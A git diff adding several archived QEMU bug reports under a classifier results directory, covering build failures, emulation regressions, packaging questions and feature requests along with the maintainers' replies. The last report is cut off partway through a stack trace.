to the Ubuntu tracker + +skiboot.lid is available on all architectures as part of qemu-system-data package which is "all", not ppc specific. +The latter is pulled by the binary package qemu-system-ppc, so no particular action is needed. + +--- +ubuntu@ubuntu:~$ uname -a +Linux ubuntu 5.4.0-72-generic #80-Ubuntu SMP Mon Apr 12 17:35:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux +ubuntu@ubuntu:~$ lsb_release -a +No LSB modules are available. +Distributor ID: Ubuntu +Description: Ubuntu 20.04.2 LTS +Release: 20.04 +Codename: focal +ubuntu@ubuntu:~$ dpkg -S /usr/share/qemu/skiboot.lid +qemu-system-data: /usr/share/qemu/skiboot.lid +ubuntu@ubuntu:~$ dpkg -l|grep qemu +ii ipxe-qemu 1.0.0+git-20190109.133f4c4-0ubuntu3.2 all PXE boot firmware - ROM images for qemu +ii ipxe-qemu-256k-compat-efi-roms 1.0.0+git-20150424.a25a16d-0ubuntu4 all PXE boot firmware - Compat EFI ROM images for qemu +ii qemu-block-extra:amd64 1:4.2-3ubuntu6.15 amd64 extra block backend modules for qemu-system and qemu-utils +ii qemu-slof 20191209+dfsg-1 all Slimline Open Firmware -- QEMU PowerPC version +ii qemu-system-common 1:4.2-3ubuntu6.15 amd64 QEMU full system emulation binaries (common files) +ii qemu-system-data 1:4.2-3ubuntu6.15 all QEMU full system emulation (data files) +ii qemu-system-gui:amd64 1:4.2-3ubuntu6.15 amd64 QEMU full system emulation binaries (user interface and audio support) +ii qemu-system-ppc 1:4.2-3ubuntu6.15 amd64 QEMU full system emulation binaries (ppc) +ii qemu-utils 1:4.2-3ubuntu6.15 amd64 QEMU utilities +--- + +Debian qemu-skiboot package was initially used to distribute skiboot.lid but it was soon after +replaced by qemu-system-data. At the moment qemu-skiboot is virtual in debian and it is provided +by qemu-system-data. + +I tested powernv emulation on focal with that default setup and following this documentation: +https://qemu.readthedocs.io/en/latest/system/ppc/powernv.html +and I didn't encounter missing skiboot.lid issues. + +Next time please provide logs, details about your ubuntu version and packages versions. + +F. + +Thank you for your bug report, and thanks Frédéric for the initial triage. + +I agree with Frédéric's findings here: the skiboot file is properly installed in a Focal system by qemu-system-data. Also, as he mentioned, qemu-skiboot is a virtual package; it doesn't really provide anything. + +I am marking this bug as Incomplete because we were unable to reproduce the issue. Moreover, I would like to reinforce Frédéric's request here and ask that you please provide more details, like what exactly you're trying to do, the commands you're using, the output you're seeing, etc. + +Thanks. + +As Frederick said (he did the change - thanks!) this is fixed for a while now. +In particular: + +1401 qemu (1:4.2-2) unstable; urgency=medium +... +1406 [ Frédéric Bonnard ] +1407 * Enable powernv emulation with skiboot firmware + +Which in terms of Ubuntu releases translates to >=Focal + diff --git a/results/classifier/deepseek-1/output/other/1826175 b/results/classifier/deepseek-1/output/other/1826175 new file mode 100644 index 00000000..4774b295 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1826175 @@ -0,0 +1,51 @@ + +Compilation on MSYS2/MinGW-w64 fails with error: "No rule to make target capstone.lib" + +I submitted this bug to Capstone directly but I figured it'd be useful to post it here too. The IS_MINGW check in the Makefile for Capstone fails under MSYS2 MinGW-w64 because cc --version doesn't have mingw in the output anymore: + +$ whereis cc +cc: /mingw64/bin/cc.exe + +$ cc --version +cc.exe (Rev2, Built by MSYS2 project) 8.3.0 +Copyright (C) 2018 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + +Really simple patch: + +diff --git "a/Makefile" "b/Makefile" +index 063f50db..1d9f042e 100644 +--- "a/Makefile" ++++ "b/Makefile" +@@ -288,7 +288,7 @@ CFLAGS := $(CFLAGS:-fPIC=) + # On Windows we need the shared library to be executable + else + # mingw? +-IS_MINGW := $(shell $(CC) --version | grep -i mingw | wc -l) ++IS_MINGW := $(shell $(CC) --version | grep -i msys2 | wc -l) + ifeq ($(IS_MINGW),1) + EXT = dll + AR_EXT = lib + +NB that patch will break Linux based Mingw builds, as they don't include "mys2" in their output from gcc, so it would need to match both. + + + +This change needs to go in via the capstone project. capstone is just an unmodified "submodule" in QEMU - we do not include any QEMU-only changes here. + +Re-opened, since although the fix needs to be done in capstone, QEMU also needs a commit to actually update the submodule hash to pull in the fix. + +I did submit a bug already to Capstone proper on their GitHub. Thanks for the heads-up about it needing to cover both cases for cross-compilers! + +https://github.com/aquynh/capstone/issues/1464 is the upstream bug -- thanks for reporting it there. + + +The fix in upstream capstone has been merged: https://github.com/aquynh/capstone/commit/29893c63e34ee21846744d02c396ae3c801b936b + +I am still running into this issue when compiling QEMU on Windows using MSYS2. I can manually apply the fix per the Capstone commit above and compile just fine. + +For moving forward, how should this be handled in the codebase to get the MSYS2 build cleanly working? I imagine wholesale pulling the latest Capstone may break quite a bit. Is it possible to cherry-pick this one change into the submodule? + +As far as I can see we're using a capstone version now that contains the commit with the fix, so I'm closing this bug. If you are still having problems, please open again or file a new bug ticket. + diff --git a/results/classifier/deepseek-1/output/other/1829079 b/results/classifier/deepseek-1/output/other/1829079 new file mode 100644 index 00000000..0121e1ec --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1829079 @@ -0,0 +1,36 @@ + +Can't build static on ARM (Raspbian) + +I am trying to build static QEMU on Raspbian, chrooted into using systemd-nspawn with QEMU 4.0.0. +This is how my compiling looks: +https://pastebin.com/PYZYeRCN +Just the problematic part: +https://pastebin.com/7LxWPMxA +How I do the compiling: +https://pastebin.com/pYM17A6R (I plan to share this tutorial when it will work) +It is a coincidence, or the build fails because it cannot find lp11-kit. I did some symlinks: +ln -s /usr/lib/arm-linux-gnueabihf/libp11-kit.so.0 /usr/lib/libp11-kit.so.0 +ln -s /usr/lib/arm-linux-gnueabihf/libp11-kit.so /usr/lib/libp11-kit.so +(should I also symlink libp11.so and libp11.so.2? I think I have installed all required p11 packages! + +Git commit hash: git rev-parse HEAD +e329ad2ab72c43b56df88b34954c2c7d839bb373 + +This looks Debian specific. Not sure why you have to install the p11-kit/libp11-dev/libp11-2 packages although. + +I agree with Philippe - if you have to symlink your libraries like this, it is certainly not a bug in QEMU, but a problem of your distro. So please report this issue in your distro bugtracker instead. + +You might find that adding --disable-tools to your configure line also helps in not trying to statically link random binaries you don't really want. + + +Well, the symlinks didn't resolve the issue. I just tried them to see if this will solve the issue. + +And I installed a lot of packages, blindly trying to solve this issue. Using full Raspbian instead of Raspbian Lite was also an attempt to do so. I'm just an advanced Linux user, not a developer! I will cut the list down to the necessary ones when I get it to compile! + +pmaydell: Thank you a lot, it compiles successfully with --disable-tools in configure. I have one question... does it affect how QEMU static binary works in any way? I'm just curious. + + + + +No, --disable-tools won't change the qemu-* binaries that are built. It just stops us trying to build some binaries like the 'ivshmem-client' one that was causing a problem for you. + diff --git a/results/classifier/deepseek-1/output/other/1836192 b/results/classifier/deepseek-1/output/other/1836192 new file mode 100644 index 00000000..02d02e74 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1836192 @@ -0,0 +1,36 @@ + +Regressions on arm926 target with some GCC tests + +Hi, + +After trying qemu master: +commit 474f3938d79ab36b9231c9ad3b5a9314c2aeacde +Merge: 68d7ff0 14f5d87 +Author: Peter Maydell <email address hidden> +Date: Fri Jun 21 15:40:50 2019 +0100 + +even with the fix for https://bugs.launchpad.net/qemu/+bug/1834496, +I've noticed several regressions compared to qemu-3.1 when running the GCC testsuite, with GCC configured to generate arm10tdmi code by default, and using qemu's --cpu arm926. + +I'm attaching a tarball containing one of the GCC tests (binaries), needed shared libs, and a short script to run the test. + +This was noticed with GCC master configured with +--target arm-none-linux-gnueabi +--with-cpu arm10tdmi +--with-fpu vfp + +Thanks + + + +We didn't spot that armv5 CPUs don't have mvfr0, so now the vfp refactor is looking at mvfr0 fields to gate feature presence we need to initialize cpu->isar.mvfr0 specifically to a value that indicates the right thing even on the armv5 CPUs which don't have a guest-visible mvfr0. This specifically affects just arm926 and arm1026, which have accidentally lost short-vector support and double-precision support. + + +We didn't spot that armv5 CPUs don't have mvfr0, so now the vfp refactor is looking at mvfr0 fields to gate feature presence we need to initialize cpu->isar.mvfr0 specifically to a value that indicates the right thing even on the armv5 CPUs which don't have a guest-visible mvfr0. This specifically affects just arm926 and arm1026, which have accidentally lost short-vector support and double-precision support. + + +I confirm this patch fixes the problem I reported. Thanks! + + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=cb7cef8b32033f6284a47d797 + diff --git a/results/classifier/deepseek-1/output/other/1840249 b/results/classifier/deepseek-1/output/other/1840249 new file mode 100644 index 00000000..66d18abb --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1840249 @@ -0,0 +1,23 @@ + +Cancelling 'make docker-test-build' does not cancel running containers + +version: v4.1.0-rc5 + +Run 'make -k docker-test-build', wait a few, cancel with ^C: + +$ make -k docker-test-build 2>&1 > /dev/null +^C + +$ docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS +62264a2d777a qemu:debian-mips-cross "/var/tmp/qemu/run t…" 10 minutes ago Up 10 minutes +80807c47d0df qemu:debian-armel-cross "/var/tmp/qemu/run t…" 10 minutes ago Up 10 minutes +06027b5dfd4a qemu:debian-amd64 "/var/tmp/qemu/run t…" 10 minutes ago Up 10 minutes + +The docker containers are still up building QEMU. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1840646 b/results/classifier/deepseek-1/output/other/1840646 new file mode 100644 index 00000000..7e4faae6 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1840646 @@ -0,0 +1,19 @@ + +qemu-4.1.0/roms/SLOF/lib/libnet/ping.c:122: logical fault + +qemu-4.1.0/roms/SLOF/lib/libnet/ping.c:122:16: warning: Logical conjunction always evaluates to false: alen <= 0 && alen >= sizeof(args) - 1. [incorrectLogicOperator] + +Source code is + + if (alen <= 0 && alen >= sizeof(args) - 1) { + +Maybe better code: + + if (alen <= 0 || alen >= sizeof(args) - 1) { + +This isn't QEMU code -- it's just the source for third-party ROMs that we ship with QEMU because we also ship the ROM binaries. Please report it to the upstream project. + + +(Anything in a git submodule will be third-party code that's not part of QEMU.) + + diff --git a/results/classifier/deepseek-1/output/other/1840920 b/results/classifier/deepseek-1/output/other/1840920 new file mode 100644 index 00000000..006be191 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1840920 @@ -0,0 +1,15 @@ + +changelog 4.1 krenel typo + +The changelog for 4.1 subsection Arm has a typo (krenel --> kernel) +https://wiki.qemu.org/ChangeLog/4.1#Arm + +At the following line: +The i.mx7 PCI controller emulation has been improved so it can boot current Linux krenels + +it should be: +The i.mx7 PCI controller emulation has been improved so it can boot current Linux kernels + +Thanks for this report -- I've just updated the changelog page to fix the typo. + + diff --git a/results/classifier/deepseek-1/output/other/1852115 b/results/classifier/deepseek-1/output/other/1852115 new file mode 100644 index 00000000..83c98bb8 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1852115 @@ -0,0 +1,54 @@ + +qemu --static user build fails with fedora rawhide glibc-2.30.9000 + +Building qemu latest git 654efcb511d on fedora rawhide fails with this configure line: + +./configure \ + --static \ + --disable-system \ + --enable-linux-user \ + --disable-werror \ + --disable-tools \ + --disable-capstone + +make fails with: + +/usr/bin/ld: linux-user/syscall.o: in function `do_syscall1': +/root/qemu.git/linux-user/syscall.c:7769: undefined reference to `stime' +collect2: error: ld returned 1 exit status + +Seems related to this glibc change: https://sourceware.org/git/?p=glibc.git;a=commit;h=12cbde1dae6fa4a9a792b64564c7e0debf7544cc + +... + ++* The obsolete function stime is no longer available to newly linked ++ binaries and it has been removed from <time.h> header. This function ++ has been deprecated in favor of clock_settime. ++ + +# rpm -q glibc +glibc-2.30.9000-17.fc32.x86_64 + + +FWIW there's some other messages but I don't think they are fatal: + +/usr/bin/ld: /usr/lib/gcc/x86_64-redhat-linux/9/../../../../lib64/libglib-2.0.a(gutils.c.o): in function `g_get_user_database_entry': +(.text+0x267): warning: Using 'getpwuid' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking +/usr/bin/ld: (.text+0xe0): warning: Using 'getpwnam_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking +/usr/bin/ld: (.text+0x11e): warning: Using 'getpwuid_r' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking + + +Also, --disable-capstone is required to avoid this error, but it is pre-existing, not sure if it's a bug, if so I can file a separate one: + + LINK aarch64-linux-user/qemu-aarch64 +/usr/bin/ld: cannot find -lcapstone +collect2: error: ld returned 1 exit status + +We use stime() to implement the target stime syscall. We should probably switch to using clock_settime(CLOCK_REALTIME, ...) instead, as that's what glibc uses internally now to implement its stime(): + +https://sourceware.org/git/?p=glibc.git;a=blob;f=time/stime.c;h=6ea3b6dcc1a393b57b69ca24fbfe8023d9095837;hb=12cbde1dae6fa4a9a792b64564c7e0debf7544cc + + +Fixed by 0f1f2d4596ae ("linux-user: remove host stime() syscall") + + diff --git a/results/classifier/deepseek-1/output/other/1858046 b/results/classifier/deepseek-1/output/other/1858046 new file mode 100644 index 00000000..0e469747 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1858046 @@ -0,0 +1,50 @@ + +qemu-aarch64 hangs on cptofs during a build of NixOS SD card image + +First, thank you for this incredible project. + +While following this guide to build my own image of NixOS: https://nixos.wiki/wiki/NixOS_on_ARM#Compiling_through_QEMU on ARM Aarch64. + +I encountered a very strange behavior, qemu is correctly used and build most of the binaries until it executes this exact line over qemu: https://github.com/NixOS/nixpkgs/blob/master/nixos/lib/make-ext4-fs.nix#L55 + +At this step, the qemu process goes to 100 % of CPU, hangs in a certain syscall I don't know which one (according to strace & gdb which has no symbols so breaking and looking the backtrace was useless). + +According to iotop, no I/O was done. + +And it spent all its time in this syscall during more than 10 hours, which looks anomalous to me. + +I attach some of my CPU info: + +model : 142 +model name : Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz +stepping : 10 +microcode : 0x96 +cpu MHz : 3107.071 +cache size : 8192 KB + +I'm using a ThinkPad T480 to perform those builds, I'm uncertain of how to debug further this issue, I discussed this with some people over #nixos-aarch64 and they told me they didn't know how to debug it further too. + +I tried all with this package: https://aur.archlinux.org/packages/qemu-arm-static/ — I'm currently compiling qemu-git to see if it happens on upstream too. Will comment when it's done. + +Thank you in advance! + +Update: compiling qemu upstream & using the latest version didn't change anything. + + +I don't know if this is an instance of user emulation limitations due to missing syscalls. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1858814 b/results/classifier/deepseek-1/output/other/1858814 new file mode 100644 index 00000000..30387779 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1858814 @@ -0,0 +1,25 @@ + +'make -C roms efi' does not update edk2 submodules + +On a fresh clone, 'make -C roms efi' fails because submodule is not initialized [1]: + +/builds/philmd/qemu/roms/edk2/CryptoPkg/Library/OpensslLib/OpensslLibCrypto.inf(-1): error 000E: File/directory not found in workspace +/builds/philmd/qemu/roms/edk2/CryptoPkg/Library/OpensslLib/openssl/e_os.h +- Failed - + +Laszlo suggested [2] it is possibly a regression from commit f3e330e3c319: +"roms/Makefile.edk2: don't pull in submodules when building from tarball" + +[1] https://gitlab.com/philmd/qemu/-/jobs/395644357#L436 +[2] https://<email address hidden>/msg668929.html + +Symptom persists as of v5.1.0, but I don't think it really matters. We should close the ticket as wontfix. + +There might be a big buildsys change in QEMU if we switch to Meson, +so I'm waiting for that to happen first and then update this ticket. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1861468 b/results/classifier/deepseek-1/output/other/1861468 new file mode 100644 index 00000000..8ed1bfa0 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1861468 @@ -0,0 +1,24 @@ + +always fail to build qemu statically + +I want to build qemu statically so as to use qemu on Android platform(Though Limbo emulator is available on github,it's even slower than qemu in UserLAnd(an Android APP that provides proot container for Linux dists)). +When I finished building qemu normally on my phone(Ubuntu devel in proot environment),I started to build qemu statically.I removed the old source code dir and unpack the qemu source code. I had built many libraries like libSDL2 and libiSCSI for qemu,and of course these libraries were able to be detected by qemu configure program.But when I ran the command: + + ❯ ./configure --static --prefix=/home/admin/qemu/build --target-list=aarch64-softmmu,x86_64-softmmu,i386-softmmu,mips64-softmmu,ppc64-softmmu --enable-sdl ERROR: User requested feature sdl +configure was not able to find it. +Install SDL2 devel + +I had to give up the SDL feature. +I disabled the SDL feature and ran configure again.The configure didn't report error,but besides SDL ,many other libraries like libUSB,libpng were missing.I ran 'make -j8 &&make install'.All seemed perfect.But when it comes to the final process--linking executables,the ld program went wrong.It said it could not find the libraries like -lgtk3 -ldrm -lsystemd,etc. +I was confused.I had already had a test building which successfully finished. +Could you give me a possible way to solve the problem? + +Platform information: +Ubuntu devel 20.04 ARM64 with GCC 9.2.1 +QEMU version:I have tested almost all versions from 2.11 to 4.2.0. + +QEMU is not really intended to be built statically except for the 'linux-user' emulators. The configure script will allow you to build the system emulator binaries and the tools statically, but that is more on a "if it happens to work for you, great" basis, rather than a supported one. + +In general: you need to have static library versions of all the development packages like libsdl2, libglib, libgtk, etc etc -- it sounds like you have only the dynamic libraries available, in which case statically linking them will not work, and configure will either note that it couldn't use the package (as happened with SDL) or just not be able to link at the end. You will have better luck also if you use configure --disable... options to reduce the use of optional stuff like libiSCSI which you probably don't need. Then you can avoid having to find static versions of those libraries. + + diff --git a/results/classifier/deepseek-1/output/other/1863678 b/results/classifier/deepseek-1/output/other/1863678 new file mode 100644 index 00000000..ed35233b --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1863678 @@ -0,0 +1,17 @@ + +qemu and virtio-vga black screen in Android + +QEMU emulator version 4.2.50 + +kernel 5.3.0-29-generic +host Ubuntu 19.10 +guest: Android 8.1 + +While trying to compile I get the following error + +qemu/slirp/src/misc.c:146: undefined reference to `g_spawn_async_with_fds' + +slirp is a separate project now ... if the problem persists, could you please report this in the https://gitlab.freedesktop.org/slirp/libslirp/-/issues bug tracker? Thanks! + +I'm closing this now. If the problem still persists, please report it to libslirp instead. + diff --git a/results/classifier/deepseek-1/output/other/1864955 b/results/classifier/deepseek-1/output/other/1864955 new file mode 100644 index 00000000..aa980c75 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1864955 @@ -0,0 +1,53 @@ + +bundle QEMU installer with HAXM accelerator for Windows + +As you probably know HAXM is an accelerator for Windows. + +https://www.qemu.org/2017/11/22/haxm-usage-windows/ + +Currently it is required to first install QEMU and then install HAXM. + +For a better out of the box user experience on the Windows platform it would be nice if QEMU and HAXM would be installed by the same installer. + +Apparently HAXM uses the BSD 3-Clause License with the 3rd clause that "prohibits others from using the name of the project or its contributors to promote derived products without written consent." + +I think licensing is a non-issue. + +That is probably a quote from the github license summary at https://github.com/intel/haxm/blob/master/LICENSE + +> A permissive license similar to the BSD 2-Clause License, but with a 3rd clause that prohibits others from using the name of the project or its contributors to promote derived products without written consent. + +I would ignore whatever github says "This is not legal advice. Learn more about repository licenses." Their summary might have good intentions but cause confusion. Only github mentions "project". The actual license text does not. + +The actual text of the third clause in the license being: + +> Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +This should be easy to comply with. + +One could would wrap that clause into quotes (") to put it into a google search engine. + +This clause is OSI approved since included in BSD-3-Clause license: + +https://opensource.org/licenses/BSD-3-Clause + +Debian takes being Free / Libre / Open Source very serious too. Search term: + +> site:debian.org "Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission." + +https://ftp-master.debian.org/licenses/good/bsd/ + +FSF also does not have an issue with it. + +> site:fsf.org "Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission." + +3 authorities don't have an issue with modified BSD license (without advertising clause). + +Rather, the QEMU installer doesn't need to have HAXM in its file name. + +It may or may not be good idea to make HAXM an opt-in or opt-out in the installer. I'd argue opt-out if anything. But ideally for usability there is no need to mention HAXM. Things would just work out of the box. + +As a role model for usability I'd recommend VirtualBox. Their installer also doesn't ask/show "enable acceleration" or "VirtualBox includes QEMU" or other components in prominent places. + +The QEMU project itself does not provide any binaries for Windows, so I'm closing this ticket now. There are several people who provide binaries for Windows, so if you want to get one of these changed, please get in touch with the corresponding person who offers that binary instead. + diff --git a/results/classifier/deepseek-1/output/other/1865252 b/results/classifier/deepseek-1/output/other/1865252 new file mode 100644 index 00000000..fcfd8ce7 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1865252 @@ -0,0 +1,37 @@ + +QEMU Windows Portable Version (with HAXM accelerator and QEMU GUI) + +Please consider providing a QEMU Windows portable [1] [2] [3] version on official qemu.org. + +Reasons: + +* This would improve usability, the out of the box user experience of laymen (non-technical) users. +* Linux distributions could add the QEMU Windows portable to their installer / live ISO images (and the DVD's autorun.inf). Users who are still running on the Windows platform could be having an easy path to try out a Linux distribution by running int inside QEMU. I've seen that in many some years ago. Was running Windows. Just open the DVD drive in Windows explorer, double click and QEMU (shipped with the ISO) booted the ISO. + +Ideally EMU Windows portable version would be bundled with: + +* the [QEMU HAXM accelerator] by default. Related ticket: [5] +* a QEMU GUI by default. Related ticket: [6] + + +[1] When I say "Windows Portable" I mean "USB portable". [4] + +[2] A compress archive (zip or so) which after extraction can be executed without further installation / setup required. As far I know [https://portableapps.com portableapps.com] is the most popular project of that kind. + +[3] QEMU might already be portable or mostly portable. See: + +* https://portableapps.com/search/node/QEMU +* https://www.google.com/search?hl=en&q=site%3Aportableapps.com%20QEMU%20portable +* https://www.portablefreeware.com/?id=640 +* https://willhaley.com/blog/simple-portable-linux-qemu-vm-usb/ + +But not sure above projects are still maintained. Would be certainly better if official qemu.org would be providing a QEMU Windows portable version. + +[4] Or more generally "can be run on any external storage medium on any Windows [10] computer. + +[5] https://bugs.launchpad.net/qemu/+bug/1864955 + +[6] https://bugs.launchpad.net/qemu/+bug/1865248 + +QEMU, like most open source projects, relies on contributors who have motivation, skills and available time to work on implementing particular features. They naturally tend to focus on features that result in the greatest benefit to their own use cases. I'm sorry, but as far as I know there is currently nobody working on such a topic, and opening a ticket like this won't make it happen without some new contributor to step up to do the job. Thus I'm closing this ticket now. Feel free to re-open if you know someone who could contribute this feature. + diff --git a/results/classifier/deepseek-1/output/other/1869497 b/results/classifier/deepseek-1/output/other/1869497 new file mode 100644 index 00000000..88bb228e --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1869497 @@ -0,0 +1,17 @@ + +x86_cpu_gdb_read_register segfaults when gdb requests registers + +When attempting to attach to the gdbstub, a segfault occurs. + +I traced this down to a problem in a call to gdb_get_reg16 where the mem_buf +was being treated like a uint8_t* instead of a GByteArray. The buffer passed +to gdb_get_reg16 ends up passing an invalid GByteArray pointer, which subsequently +causes a segfault in memcpy. + +I have a fix for this - just need to educate myself on how to submit a patch. + +Thanks for tracking down the source of the bug. Our 'submitting patches' policy is at https://wiki.qemu.org/Contribute/SubmitAPatch in case you haven't already found it. (It's quite long but for a simple one-shot bugfix patch the important stuff is just the summarized bits at the top.) + + +Fixed in commit bbc40fefcee0d69d61ceaf8c0695d2ce43cdc87b. + diff --git a/results/classifier/deepseek-1/output/other/1874678 b/results/classifier/deepseek-1/output/other/1874678 new file mode 100644 index 00000000..cecccd6e --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1874678 @@ -0,0 +1,58 @@ + +[Feature request] python-qemu package + +It would be useful to have the python/qemu/ files publish as a Python pip package, so users from distribution can also use the QEMU python methods (in particular for testing) without having to clone the full repository. + +Hello, I am new to the community and I would like to cut my teeth with this bug. Is this a good starting point? If so, where should I be looking? + +Hi, Rohit! I am actively involved in pursuing this at the moment. I have patches that do a lot of this work, but they are not complete and did not get merged in time for 5.1. I will have to update my development branches (soon) and share that code. + +If you'd like to help, there are three main areas of consideration: + +(1) I would like to ensure that all code in ./python/qemu is 100% pylint/mypy/flake8 compliant. I have many patches for this in particular. Once it's compliant, we need to prevent regressions: This task is less well defined in my head. Ideally the package is checked pythonically (via pytest, perhaps?) as well as via hooks in the QEMU source tree itself as a `make check-python` style target that can be checked from e.g. gitlab CI. + +For now, the python package will live in the QEMU source tree, so it needs to function in both contexts simultaneously. + +I consider this a requisite for packaging our SDK because it will help us prevent a certain class of regressions. By smoothing out the API and its typing in advance, the package will be less turbulent and, if needs be, easier to refactor with confidence in the future. + + +(2) The code itself needs packaging glue (setup.py et al.). I also have patches here that move ./python/qemu to ./python/qemu/core and installs this as a PEP-420 namespace package, 'qemu.core'. The idea was to add different QEMU modules over time -- possibly with different dependencies, etc. + +One of the ideas is for everything in ./python to be checked using the same flake8/mypy/pylint regimes for consistency; but if we were to upload any packages to PyPI, I want to be able to upload them separately. e.g. + +./python/qemu/core ==> PyPI "qemu" +./python/qemu/qapi ==> PyPI "qemu.qapi" + +I didn't figure out how facilitate that just yet -- at the moment, any subpackages present in-tree get uploaded as part of the core API, and that's not what I wanted to do. Some subpackages we create are going to be ones we don't want to ever upload to PyPI, but having them in a standard package form will help with regression testing and development in-tree. + + +(3) Versioning is a complex topic and needs some consensus. + +- Do we version the subpackages separately, or should they use the parent QEMU version? +- Should we release point fixes, or only release alongside official QEMU releases? +- How do we indicate beta status? If we release at version 5.2, people might expect SDK API stability, but we can't promise that yet! +- QEMU does not use semver, but Python ecosystem largely does. The QEMU deprecation policy may not mesh well with Python's expected behavior. + +There's a lot there to think about before we push a package to PyPI. Pushing to PyPI, however, is not a requisite for accomplishing the first two tasks -- so we can shelf this for a little bit. + + +If you have some experience with python packaging and distribution and would like to help, let me know. You can sign up for the qemu development mailing list [1], and send a mail introducing yourself and CC the following folks: + +John Snow <email address hidden> +Cleber Rosa <email address hidden> +Eduardo Habkost <email address hidden> + +Thanks, +--js + + +[1] https://lists.gnu.org/mailman/listinfo/qemu-devel + + +This is an automated cleanup. This bug report has been moved +to QEMU's new bug tracker on gitlab.com and thus gets marked +as 'expired' now. Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/50 + + diff --git a/results/classifier/deepseek-1/output/other/1875819 b/results/classifier/deepseek-1/output/other/1875819 new file mode 100644 index 00000000..79bbe82f --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1875819 @@ -0,0 +1,9 @@ + +[Feature request] prebuilt testing docker images + +Instead of building qemu:docker images locally, we should pull the one built from Travis/Shippable/GitLab by default, and build it only when manually requested. + +GitLab has ability to host container images per project and also can build them during CI runs. So I'd suggest that we create GitLab CI jobs that build & publish each of the images under tests/docker on the master branch. + +I think this has been done now, so I'm closing this ticket. + diff --git a/results/classifier/deepseek-1/output/other/1878628 b/results/classifier/deepseek-1/output/other/1878628 new file mode 100644 index 00000000..3f71a08f --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1878628 @@ -0,0 +1,20 @@ + +linux-user/mmap build failure using Clang 10 + +When building with Clang 10 on Fedora 32, we get: + + CC linux-user/mmap.o + linux-user/mmap.c:720:49: error: result of comparison 'unsigned long' > 18446744073709551615 is always false [-Werror,-Wtautological-type-limit-compare] + if ((unsigned long)host_addr + new_size > (abi_ulong)-1) { + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ^ ~~~~~~~~~~~~~ + +Suggested fix: Use -Wno-tautological-type-limit-compare in configure: + +https://<email address hidden>/msg699808.html + + +Patch posted: +https://lists.gnu.org/archive/html/qemu-devel/2020-06/msg00856.html + +Merged as commit aabab96797a7d61989c25a7ca2b094591bbc74f9. + diff --git a/results/classifier/deepseek-1/output/other/1878915 b/results/classifier/deepseek-1/output/other/1878915 new file mode 100644 index 00000000..5ac767a7 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1878915 @@ -0,0 +1,48 @@ + +util/fdmon-io_uring.c:95: get_sqe: Assertion `ret > 1' failed. + +qemu 5.0.0, liburing1 0.6-3, Linux 5.6.0-1-686-pae (Debian) + +Stack trace: + + Stack trace of thread 31002: + #0 0x00000000b7faf1cd __kernel_vsyscall (linux-gate.so.1 + 0x11cd) + #1 0x00000000b6c618e2 __libc_signal_restore_set (libc.so.6 + 0x348e2) + #2 0x00000000b6c4a309 __GI_abort (libc.so.6 + 0x1d309) + #3 0x00000000b6c4a1d1 __assert_fail_base (libc.so.6 + 0x1d1d1) + #4 0x00000000b6c59929 __GI___assert_fail (libc.so.6 + 0x2c929) + #5 0x0000000000ba80be get_sqe (qemu-system-i386 + 0x6d00be) + #6 0x0000000000ba80cb add_poll_add_sqe (qemu-system-i386 + 0x6d00cb) + #7 0x0000000000ba820c fill_sq_ring (qemu-system-i386 + 0x6d020c) + #8 0x0000000000ba7145 aio_poll (qemu-system-i386 + 0x6cf145) + #9 0x0000000000aede63 blk_prw (qemu-system-i386 + 0x615e63) + #10 0x0000000000aeef95 blk_pread (qemu-system-i386 + 0x616f95) + #11 0x00000000008abbfa 